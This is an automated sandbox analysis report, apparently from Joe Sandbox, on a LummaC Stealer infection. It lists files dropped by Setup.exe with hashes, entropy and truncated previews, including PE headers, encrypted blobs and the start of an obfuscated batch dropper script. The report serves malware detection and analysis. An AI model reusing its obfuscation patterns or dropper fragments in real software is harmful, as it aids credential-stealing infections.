	nper1lu.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	nertuetetaaa.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	nbertioures.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\306846\Fox.com	aomei_partition_assistant_v10.8.0_technician_winpe_patched.exe	Get hash	malicious	LummaC Stealer	Browse
	aomei_partition_assistant_v10.8.0_technician_winpe_patched.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse
	setup.exe	Get hash	malicious	LummaC Stealer	Browse
	setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	hOMr8c96iX.exe	Get hash	malicious	LummaC Stealer	Browse
	MRVerify.exe	Get hash	malicious	LummaC Stealer, PrivateLoader, Vidar	Browse
	WritingsEye_patched.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\306846\Fox.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: aomei_partition_assistant_v10.8.0_technician_winpe_patched.exe, Detection: malicious, Browse Filename: aomei_partition_assistant_v10.8.0_technician_winpe_patched.exe, Detection: malicious, Browse Filename: Setup_patched.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: hOMr8c96iX.exe, Detection: malicious, Browse Filename: MRVerify.exe, Detection: malicious, Browse Filename: WritingsEye_patched.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\306846\W

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	556346
Entropy (8bit):	7.999665345313753
Encrypted:	true
SSDEEP:	12288:Mi8oIvCqxMjmjHb7ymG0n8sJVrpdbH+5RfiizfNJSKa:woMdLymDn88JeHaoJSKa
MD5:	02881915C28195E1FFC95DCEB8F883AC
SHA1:	469EA9E00D42645E0FB9BD1834FF972C6FB50ACE
SHA-256:	FE356218734BC6EE3222965B2A8FBBD1FDD2491D151254F47B676DCBD94AB862
SHA-512:	B92DEC1FC2D1512F15FE32A398752670714DFBA89366C7E698296901CCDF7114F3B890AE91E11AED10D463D5C5AE6285CEE3BD8291C10280EC811C24A86FA5BC
Malicious:	false
Preview:	82`88...Z....y..k..r..........P..U%FF. ..>"p.3..\Y.....FHe;..Z.....#.$...9{.r...`'d.X/p..........]:..4..7.x..p.28.T..t.Cb....I.dG!.{/o...f(=.\Qh.n.(...}.P.%?rO...h......t.@cqXA.....>..^f38..{2V.`..K.7Tp..2X.....UZ5.C...S...h....@..X.R.n..Ta.J...e..E.(z.....m...+r...$w..(.h.h.X..b{.s".GX&n.....Y..I.A..p.5...&.>~.S..PNK....0.S.t.B.!]J.-\|6J.G.e..3S<.P.QC.1@e..u.A...{..."..^Y...vQ.E8]jE..H.......i..=..d~...S.u..0.....[6.....a..r....]....M.....#I.....H.j(.......$.Z6.....,......>....F.\.8.F{#.8.Wr<....V.).5e.........\7j...._^.W...#h.,..[...eQ].=...\z...6M..R..9...~.0>......b.!G.JJ.+..P...P..+3m....Q.z..'..d...5.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....A.M.'.F...h..................x.......x..kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K.

C:\Users\user\AppData\Local\Temp\Accused

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	11618
Entropy (8bit):	7.458212779846062
Encrypted:	false
SSDEEP:	192:HsxvhLuBgfMvSVZPkZeCeAH6N8VEVFJ84kcGNq4/C+Q3ISVSWMZMQ3rw:HGhLdXVaeCVrVEVFJ8ZcGwGBk7/UMQ38
MD5:	FD54F4C0881583A64BD60AF90542D1E8
SHA1:	2921F54B50D207D0B218678F2719C0F23C23FEEC
SHA-256:	1A641A008D8C6440A1AE69F433C66A3876F55388CF4D0DD43D9D2219318B1508
SHA-512:	1C46CDFF3F3F89B900579286DC11522DA0C8A34164B597EE519861B0DECD3844E6FD05DBA318247CB93B8BC82D5C81D1B239B164D9F90E4C3ED1603ED16F4FF9
Malicious:	false
Preview:	.>.>.> >(>0>8>@>H>P>X>`>h>p>x>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.?.?.?.? ?(?0?8?@?H?P?X?........$3@3D3.3.3.3. .......0(0.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.2.2.2.2.2.2.2.2 2$2(2,2024282<2@2D2H2L2P2T2X2\2`2d2h2l2p2t2x2\|2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.3.3.3.3.3.3.3.3 3$3(3,3034383@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3\|3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.9.9.9.9.9.9.9.9.9.9.9.9.:.:.:.:.:.:.:.: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:\|:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.;.;.;.;.;.;.;.; ;$;(;,;0;4;8;<;@;D;H;L;P;.<.<...@.......3.3.3.3.3.3.4.4.4,4<4@4P4T4X4`4x4.4.4.4.4.4.4.4.4.4.4.4.4.4.5 5$54585<5D5\5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.6.:.:.:.: :$:0:4:8:<:D:L:\:`:h:l:p:t:\|:.:.:.:...`.......=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.>.>.>.>.>.>.>.> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>l>p>t>x>\|>.>.>.>.>.>.>.>.>.>.>.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?...p..x....0.0.0.0.0

C:\Users\user\AppData\Local\Temp\Administrative

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	113664
Entropy (8bit):	6.287339774328889
Encrypted:	false
SSDEEP:	3072:xqDoioO5bLezW9FfTut/Dde6u640ewy4Za9coRC2jfTq8QLeK:dO5bLezWWt/Dd314V14ZgP0JaK
MD5:	6B292DBB216B1A11B80C5EFD28247569
SHA1:	EF25F355B74DB0EE5D1DF469A09149D71E32F0A6
SHA-256:	2C6815EBE8E361F9C8898E56D7D01628018C78A05A9BE3E9CFB15EAAE5A8091B
SHA-512:	BF18B797DCB81DB20967954181260BD432CB7A8DBB425D37CF0E602F71E6EA73133DCCECB9FEF0D64843E4BE0291087499C65FF7C1C4E7EBB59C3991269E008A
Malicious:	false
Preview:	0.t..I8.y..u/j.............J7.....@..\|0...L0.t..I8Q.M.....3.^]...U..S.].VW.......{..v..C..H..3..........@.C....!.......:....uB..0.I....Q..\|2...L2.t..I8.A..\|2...D2.t..@8.u....@........&..F....._^3.[]...U...\SVW...M.....3..E.....j<Q.E..M.P.M..n...].....}..r3.C..p........F.3..f9.t..C..p........F.......E..}..r..K..q....\|....F.......E..}..rC.K..q....\....F.3...f90t,.C.j).p....7.....u..8....E.;F.t..v....?...3..}..r..C..H..........E.j<.E.VP..m...E.....E..C..E.<....E.@....u..0........F..u..]....E..E.E..E.P.u..].....I..E...t.V.nH..Y..t.S.cH..Y.}..uB...H..\|9...D9.t..@8.@......\|9...D9.t..@8.u.3..X..A-...F........c.}..t..E..L....R.u.....-......}...F.....t8.u.....I..E..E...y.....L....]...,...E..u....F.......`.I..M......_^3.[....U..S.].W...C.........t.......u.2..P.C.V.0........4...;N.t..v......}..^u..C..H..X...i.......3...D.......I...H....._[]...U.........SVWjD^V3.L$0.D$tSP.3l......t$p3..\$(@.\$..}....j..\$..\$(.\$$.]...$....f..$....^t<.C..H.......{...D$$v[.C..H........C..

C:\Users\user\AppData\Local\Temp\Adults.ppam

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	71680
Entropy (8bit):	7.997416869237401
Encrypted:	true
SSDEEP:	1536:XV7p5gJIZf6JS6rg+EVRxNy9GLWn7+y5EXFgByrVy7vPlzQHD1laO0rCre:Xz5mi6JS6MHjuALXwbFvPaHx4Os
MD5:	FB75D64A43745E99F14F2D7B101F4D31
SHA1:	95F174F3966498B8CB99D1B687CC2E7A0D606976
SHA-256:	03B86A30728AC825735C7921D01A3427C4EF103016039856A630186F24F80082
SHA-512:	F2F07AE6EE26CD04525647C13F5D189D93B4390A813D1FC97837727651E3F9A771C18F847DF1E3DCD39CD0401FAF9F7566DA52D64878ABE3ACAFCC3EF938F53B
Malicious:	false
Preview:	82`88...Z....y..k..r..........P..U%FF. ..>"p.3..\Y.....FHe;..Z.....#.$...9{.r...`'d.X/p..........]:..4..7.x..p.28.T..t.Cb....I.dG!.{/o...f(=.\Qh.n.(...}.P.%?rO...h......t.@cqXA.....>..^f38..{2V.`..K.7Tp..2X.....UZ5.C...S...h....@..X.R.n..Ta.J...e..E.(z.....m...+r...$w..(.h.h.X..b{.s".GX&n.....Y..I.A..p.5...&.>~.S..PNK....0.S.t.B.!]J.-\|6J.G.e..3S<.P.QC.1@e..u.A...{..."..^Y...vQ.E8]jE..H.......i..=..d~...S.u..0.....[6.....a..r....]....M.....#I.....H.j(.......$.Z6.....,......>....F.\.8.F{#.8.Wr<....V.).5e.........\7j...._^.W...#h.,..[...eQ].=...\z...6M..R..9...~.0>......b.!G.JJ.+..P...P..+3m....Q.z..'..d...5.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....A.M.'.F...h..................x.......x..kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K.

C:\Users\user\AppData\Local\Temp\Argument.ppam

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	ASCII text, with very long lines (1534), with CRLF line terminators
Category:	dropped
Size (bytes):	27611
Entropy (8bit):	5.081085079822806
Encrypted:	false
SSDEEP:	384:gv1A6Af4ivnmhSu8YncioIAswXIApjjL5V2D3aisp+ZN11Io78csKzFB:gtAHfm7vro14A9jL5asp+X11IolzFB
MD5:	1ED5E75B037B5C86ED9537F512A7CBB0
SHA1:	DE0C84604BB971C6705BD2804FAE96511C000F37
SHA-256:	BE5B2F7033F23B85BC29CC47473EAAFD2B574DAA6F4FAF0593F00187D9F877AF
SHA-512:	250AC92CED05DA8E7F54BF7F534C0B265CB96FDD426C6B5AE334DF7E97062B93FEDFC5986D72433261E260834799C56C5C3BBE4D40C7900D5EB836685F3CD81D
Malicious:	false
Preview:	Set Dial=x..EEBridal(Occasion(Markers(Additionally(..FiRPsychological(Diagnostic(Liquid(..HTkSchemes(We(Archive(Talent(Scientists(Jewish(..JpPlots(Securely(Pipeline(Course(Illness(Coordinates(Relaxation(Broken(..nWTwins(Vegetarian(..mFaInsertion(..PdPkMaldives(Marriage(Explanation(Carey(Exceptions(Faced(..Set Ethical=H..lpCashiers(Self(Morning(Handed(Cursor(Correction(..JwFlooring(Browse(..siMatters(Bmw(..NGInterface(Replied(Traveller(..AlqxHorny(..djwActivation(Tour(Tracy(Aspnet(Bare(Clay(Concepts(Controlling(..QSAud(Sticker(Batman(Tape(Helped(Achievement(Telephone(Faqs(..Set Bathroom=l..IoLBp(Promptly(Lover(Walked(Plus(Approval(Macromedia(Prof(..XgTTroy(Mc(Must(Spanking(Bible(Mortality(Ob(Nominated(Wallpaper(..HELmPanels(Clay(Apply(Wrist(..sifsTr(Pda(Wishlist(Explorer(Nike(Sk(Leu(Opponents(..ttBMobile(Mud(Bookmark(Crazy(Cemetery(Vol(..Set Descriptions=C..CqjORatios(Demo(Glasgow(Christian(Rip(..AwBurden(Promotional(Rack(Volunteer(January(Suit(Safe(Devoted(Bedrooms(..lrqNegotiation(Ope

C:\Users\user\AppData\Local\Temp\Argument.ppam.bat

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1534), with CRLF line terminators
Category:	dropped
Size (bytes):	27611
Entropy (8bit):	5.081085079822806
Encrypted:	false
SSDEEP:	384:gv1A6Af4ivnmhSu8YncioIAswXIApjjL5V2D3aisp+ZN11Io78csKzFB:gtAHfm7vro14A9jL5asp+X11IolzFB
MD5:	1ED5E75B037B5C86ED9537F512A7CBB0
SHA1:	DE0C84604BB971C6705BD2804FAE96511C000F37
SHA-256:	BE5B2F7033F23B85BC29CC47473EAAFD2B574DAA6F4FAF0593F00187D9F877AF
SHA-512:	250AC92CED05DA8E7F54BF7F534C0B265CB96FDD426C6B5AE334DF7E97062B93FEDFC5986D72433261E260834799C56C5C3BBE4D40C7900D5EB836685F3CD81D
Malicious:	false
Preview:	Set Dial=x..EEBridal(Occasion(Markers(Additionally(..FiRPsychological(Diagnostic(Liquid(..HTkSchemes(We(Archive(Talent(Scientists(Jewish(..JpPlots(Securely(Pipeline(Course(Illness(Coordinates(Relaxation(Broken(..nWTwins(Vegetarian(..mFaInsertion(..PdPkMaldives(Marriage(Explanation(Carey(Exceptions(Faced(..Set Ethical=H..lpCashiers(Self(Morning(Handed(Cursor(Correction(..JwFlooring(Browse(..siMatters(Bmw(..NGInterface(Replied(Traveller(..AlqxHorny(..djwActivation(Tour(Tracy(Aspnet(Bare(Clay(Concepts(Controlling(..QSAud(Sticker(Batman(Tape(Helped(Achievement(Telephone(Faqs(..Set Bathroom=l..IoLBp(Promptly(Lover(Walked(Plus(Approval(Macromedia(Prof(..XgTTroy(Mc(Must(Spanking(Bible(Mortality(Ob(Nominated(Wallpaper(..HELmPanels(Clay(Apply(Wrist(..sifsTr(Pda(Wishlist(Explorer(Nike(Sk(Leu(Opponents(..ttBMobile(Mud(Bookmark(Crazy(Cemetery(Vol(..Set Descriptions=C..CqjORatios(Demo(Glasgow(Christian(Rip(..AwBurden(Promotional(Rack(Volunteer(January(Suit(Safe(Devoted(Bedrooms(..lrqNegotiation(Ope

C:\Users\user\AppData\Local\Temp\Banks.ppam

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	7.997840019833129
Encrypted:	true
SSDEEP:	1536:lmVqO7YCXF6J6aeIe/YhiKRgwVfXxd23cgT:lmgjne/YhiKR/PzycgT
MD5:	90E8C5EAE16784E0EA6FD2B0EC991FEE
SHA1:	C8B212763E84566F9073CDA55B2A10CE357BF390
SHA-256:	710433A03D917565B8FAF82BF6589784BB7E5E61CA76AFF2389AE6E26951C71F
SHA-512:	25B7104C410D4273E5120C125C58B6E122E907BFBA06293AA0F892A3CF45D82DD2842B39DECFC8DF9DE0525D02D1C6B431F597D1B2C4CBC8D547FC51B0F34B2D
Malicious:	false
Preview:	...6.N/.........lC.2..Z.._.F.$...7}.^a.....6w.....JY.}.._..m....2F.4o..#.g.eDF.T....n.<[gl....C..s...B.+..\....n.a...5.m<..{9...y..Z.yk.......8.\d.p<o%.n.%S;d\EG=... Ai......E.3{..M..i ....s.......#.lq.\..TC....Q.....`X...l..".....O...#..L....J.+.S+.[.s..._6Jk\|Dq7...Z..60.q..T%.(E.4..Kg.I,.\|=9X]..&0...&.d...G..m......"Fp\|....c......AVS.@...\W....w....Eo.3..'......^.J,._Y.W3.`.(...j.i.o#.g.(J'IE_..?l?PLR3x..mm.4....=.I...6IQy.n.....@O...DU4...G..f.L......;..&XZ.>U..t....9.....q....K....+.`....R..U.F.}....%#.MCB.....@.%........R.H..Am.=G..P.i..7-..Y`$0.b.l...,U....}.D....M....w...r.S.G.}0.0-IT.......G..y.)q....<+.kA.S.IA....E'....B.....".....Z.b.?.6 +GW.D.....-5.iJ.(..).t..'.H..'..K......(.-.........Z...R.;......p.v....}.......m..<..Q...s......os.l.0...{\|.KG.2.....G/#nj.9...?...x.w...........!;...nB4..<.&]kE]\|.]......BQ...@.C..\X..~.n.\...-v.2@^V..3 ...+p....4n4.:]....z"\.e...Y...>..-.m.....E....%_b=LS..=.D.YMV.v..aq.....m..h.#.\|.........J..

C:\Users\user\AppData\Local\Temp\Bored

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	148480
Entropy (8bit):	6.7148555373379075
Encrypted:	false
SSDEEP:	3072:7dTmRxlHS3NxrHSBRtNPnj0nEoXnmowS2u5hVOoQ7t8T6pUkBz:wHS3zcNPj0nEo3tb2j6AUkBz
MD5:	1109D36C201D4DFDC3BF84674C21CDC3
SHA1:	86357A379A5D11F88559A6DFD2050C8E68A7472B
SHA-256:	F179854A0AB801FB0BF539B8455238BCD70BE61D5C00F6E871CC973A19C14A24
SHA-512:	5AB39306CAFE2F18F5BBA765BC7B87A7DA40C976D809643B0D96E4A9F3C8301FA24FEAAF3284D49E88D8DEC293E420D586BD9060E6A70AD7B3785BD2C8F18DD1
Malicious:	false
Preview:	.P.L$h.D$\|......^...L$h.D$lW.D$@.L$,.t...L$..D$@P.E.P........D$H.D$X.D$D.D$$y...............D$0P.D$hP.AF....uM.L$@..]...D$0..~..D$.....D$.P.L$D..^.....u.D$h.T$l.D$(.D$H.D$X.D$D.T$<.D$$...D$l.D$<.D$h.D$(.T$0.E..L$8.c....T$D......3M....D$D.A...3M....3M..D$......G.........F...t.P.L$D....F...t.P.L$D......~..u..N...t.Q.s......R...j V.......3M.....D$..x..........$t....u......F..........f.x..t.t$,...F........x..u.....3.t$,......j.WR....0........W....t$ .........WRV..3M......t$ .u....@..D$......L$...........t$..I.....t$ .F...........B....F..G..F..G......F..G....1...2........u...............7.O.."....G.3.................Q..........3.f..p.w.......t..\|$4........8....\|$4...3..w....\|$.....L$,.t$ .A..D$@....L$.P.D$\|P.D$HP.t$\.W.......<....D$P.L$x.T$,......j.W.@.Q....0......D....D$P.L$..@......@.Pjy.!........O...$....P......G...o....\|$...d..../)..;.d...r.\|$@....G8.....8..............G..N.;.......P.:.......p8.......t..x8........\|$...$.....\|$.....p8.....t..@8.

C:\Users\user\AppData\Local\Temp\Bother

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	4.772971053238548
Encrypted:	false
SSDEEP:	24:yyGS9PvCA433C+sCNC1skNkvQfhSHQU2L55e1yb/uBx39lt6DhBhhB4+JvU1SE:P9n9mTsCNvEQH5O5U1nPKrhBzM1v
MD5:	471756364361AD966740F49228D99E94
SHA1:	F4369C0DA7029E3B08E917AA29857F0993EBF870
SHA-256:	CD02868DC2CFBBE5DA94BBBF09D665A5C39FB4FB46E7F4D01F2D010350776D74
SHA-512:	C5E59101B418AFEEA4A8436287CE00F9C12643D346B4DBF507B887EA09271057E68E28710E4D1ACB08834C051632C06EAF541A8E26E386E6365E01F7409C08C5
Malicious:	false
Preview:	Dealt........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Chance.ppam

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	58368
Entropy (8bit):	7.996918222979421
Encrypted:	true
SSDEEP:	768:4z5QTR9DE0w+J4HNjoN91PBi5B7eu1HZ2X14dXPv2le7d3eJfMc3WH5IgCkzj0RH:4u68eo3lBi7jmX1wWlcoJmd5zj0JDugF
MD5:	CA257AB3FB229DB47444AB68E825C797
SHA1:	1FAD0139068E7D272229D7942CC480BDA9A19C65
SHA-256:	459D34BE96CBC0AA31789C931C02B34515F5A0FD02001FF2FAE032C81545B7B5
SHA-512:	63B55F8A7E47748AC3D64EA30D125252181C13AE51277D446C883C315AEA89CC4E1812586325026213DBBDDEBD76E4C8A1D1DEDBD0B96FDDBFEC25FA2CF1906E
Malicious:	false
Preview:	~c....N&..\....:......O0..~K..F..........4....p... ........o.Q..J..C?......dg.. .-..C.ybK.....dq....m.9..}9\h..O.....\|.TT&M.-m..q..A......"A.@oo......<j.y.d8q....x.....:.f...9o.....FU."7..9+...o.....<.b......%..D..?.S.....Y.l.o....zq:B.......j_..~.#....!..\|t..Qr..v..Y..D....7DY....7Y)N.$t)...sm..!.y...(.:..).Y.s6A....F3@.....!F}....Q/z.4.0.k..o..Le.b.g\...^...7.u...v.....[.....%!<............H6...3..t....C."....H."...E..j.ax....o...!.F...w}....J.N..%...s...R.H.b.Cx$.....UJ.jD._..MY._..o..~....6".0W[x2..[.k..+.%.3...Y..r.g.....uB......m..s..k..3.vw1.?..r..j..&.........D..Z^.u.d.C.Kbu5x:ft....q...p..I..i...fbqa......(....b.7.....ti.P.h.g.....N[e.=./.. .!..lAKP8...<....).@...\.t........_L..Ev.c.mzD...u].,..d...;QW...$...K.....Q.+~..\E.F..Y.._L J..3.Y..&K....GL).....Z.b%...........0.3.R...j.....s..-.W..Q.i.ul.....vg.H.... /U.So/....D..YC.E..I..\%o)r..;..F`..Z.x~.Y..d]..E.>./..3.5.s.WE.W.*6.I;.k..s.4.....g..e.Nph5^.:...."b5hO....U..Fq..R.

C:\Users\user\AppData\Local\Temp\Compiled

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	101376
Entropy (8bit):	5.829531769309095
Encrypted:	false
SSDEEP:	1536:e5el3EYrDWyu0uZo2+9BGmdATGODv7xvTphAiPChgZ:e5elDWy4ZNoGmROL7F1G7hY
MD5:	DD88D964EA458B0C5D9229D2CCB4CCC8
SHA1:	323D8A7B1E8A4E59AA0B135AE9C00AC0A8DC5956
SHA-256:	65E575C4534716CB29F5E9B1F7C317F39F77624B177F00332E27217F7EFA7072
SHA-512:	B811B91CBF2D94C7F0C361452B1F863EEE4DED2D8F0C0128E6ADFCA190E2D2523E655D3C7A2225061D0D356214E9C565D564571691450FB040A85C391C906A85
Malicious:	false
Preview:	.................................... .............................................................................................................................................................................................................abcdefghijklmnopqrstuvwxyz......ABCDEFGHIJKLMNOPQRSTUVWXYZ............................................................................................................................................................................................................................................................... ......................................................................................................................................................................................................abcdefghijklmnopqrstuvwxyz......ABCDEFGHIJKLMNOPQRSTUVWXYZ..........................................................................................................................................

C:\Users\user\AppData\Local\Temp\Dealing.ppam

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	7.997683845472811
Encrypted:	true
SSDEEP:	1536:Ov7mJ0j4ssR+H4Yw+wLDNrDlAEgCmR0kEmhmLde2OkEGAG:NJss8Hs+wLDFDlXgKkoY+R
MD5:	B30B1DB6877F52EE8CA340411ABE490A
SHA1:	3BD4A1A3DEE3BC2701EE487C4B8D6BEC9D5FC2DE
SHA-256:	999D00A3F83EE1813D1444DEC48082A31EA541C9C81A27E3B5644CFEED23A28E
SHA-512:	6406F03C1D96731CE09B8A86732CCAD0628D983992536033CED569132115EA19337C6874AD7922FF250CDC803A3D7E1DE06EF8F99F1A67BCCCBD00537B80E51B
Malicious:	false
Preview:	.)..r......D...GS.^..9.u#X.\|.@N3p7.....G....9.B.?......[5.0..#.G..1.w..D.-\|@B..1%R..I..R.b.a.5...v....A......n\.....:.Z.....-X.z^$.0>..z....s......8.w..Xy8.]......gb..=...fO/i2%..rR.{...=....7.R..e.~..N..r2...1^..._U)}+...Vm.b.T.........%pc...E..k.3..W}3..._.Yp#-7O..p...z.O.D.LA..`.`H...Sa.[Zl......).d.}...W.9#..m.F}...`.\|(.>I...C.......K./`.L.....m.. .J.&.zv}0....q....(vv.....6w^.86...J..U.I.+.<F5.<.b../..&#9.~...h.....imqX{gDc<..s....s....eeNK.72.Q...........s.x....0N...E....rS.l.....R5.....!0a.y..i..v....o.(/.e0...g....g..0..MI.yl.[M.N...}.O9....65>.....-v..~.....s..0)....v..._....3...9....mx......v.#{...[..t;~....^...YD.~.F.....l1."...+D.R...'?..".`.....b=.....p.K.Bva.me.......D+...,l.x.....aVv...v.G.q......Q..-..@........"2..wD9.4......O.rnp....!.....},')......?.$D..O.%....e.........f...Sk_^..(.:....:...(.aZT"...l..u......w...../.L=...pA...0..r....hP4.4..a...`....`...:....5.;}......x.L........%D...."".O"z.R..{.4>.8..E.....

C:\Users\user\AppData\Local\Temp\Impose.ppam

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	37178
Entropy (8bit):	7.995179363760482
Encrypted:	true
SSDEEP:	768:wTeX5ujIdpELJ3mMiOqnT98G28Z4CmdxtwLJbcAiQ2zMXdyjJc6zEHF5:wiJeO25FG25dxwxJkdjJc6zO
MD5:	2AACB42970DAFD208F717BC87C3620D8
SHA1:	D25DA14C24D220B0D161BEA905E7DFE9209E865D
SHA-256:	9EE211E8799DA6E78CA81F752C69D578F584BD7986BF8002DA92D0EC53733CA3
SHA-512:	F066182F913FF4261A4EF4C9753C1F6B7EBA33A2DC29648306096A8B09921C2A634BCDC116D38A5FF6EB07E57E20CE984FEC0ADC90E5660FC425C5D816F3F541
Malicious:	false
Preview:	....k...'...............t0..\.2.:....9~S...tw.......\|...Jt.Z.o.,..4E1.I.F....EC.w9`..L.9s....{+.jCN... ~.6...M.f.Wf.]..........V.....Q...f..617.w...z...&.q5......}..X.....E#._..f.$.[~Q..U..Gh..}RC.AiI......eP.%h.E`..?..~....:..X......j.+,8..W..T...(..`.\.gi...p.\..>8Dp....C. .\Z,.]r+ZY..n.K.V...\._3..}.T..y..I..KTC...%...i.h.[....ux..,.V.}.fO.3....\|....yH....Ko.h>...........X.2A..G2.....mu.o^.t......}'._.....b..=$.!sGc.......b..u.Jp..De\|@.(.9.C.W.'....0..Q..\T.kl..A...E..;..`..#.O=.zt..{.w........Ry_......j?.].'....7r.......cM..R{....o3l...F.......u........................n...W;.y+.%P..T!.Z..F..').fNo........r..Iz.'.L.....Q...-l/.....E...b.R.W....HM.\...;.cD.PV.,k..a....B..q?p.+M..Unz...Gl....].M.3.Y*F.dcK.......M....u.... 79.8.[..XY.....;v.>on.'..E2......=l.FNz.i...y...V._.k.\|.......ZY.x..l..Z.I^.l........{o..E..&n..$><.j~.P.M...R..".j......v.Rq..0....A...Q...?~g..c....en.O8......-.....2.Q....%....>...T.$[..zJ.,y..N.$.J.F...pnz.j..

C:\Users\user\AppData\Local\Temp\Kansas

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	152576
Entropy (8bit):	5.7429294082401565
Encrypted:	false
SSDEEP:	1536:NgMbFuz08QuklMBNIimuzaAwusPdKaj6iTcPAsAhxjgarB:Ng0Fuz08XvBNbjaAtsPh6whxjgarB
MD5:	0554CA687E05A0807838031A94DACC56
SHA1:	0867261FA735072D05B3A044D3C77EC580A01F83
SHA-256:	99BA998B04773DC47141A6BE0B50AFF3A97B60572A8CC97FFEE79C881A6BF0C9
SHA-512:	28E415A0C0C54801B7A8AE68BAF8A7F6442C5A9B33F86F908013C80E1EC3D729418E0D9639BFA162AED67E7BE590015E59F1424A5C09E13D2B3ECDE4E4744118
Malicious:	false
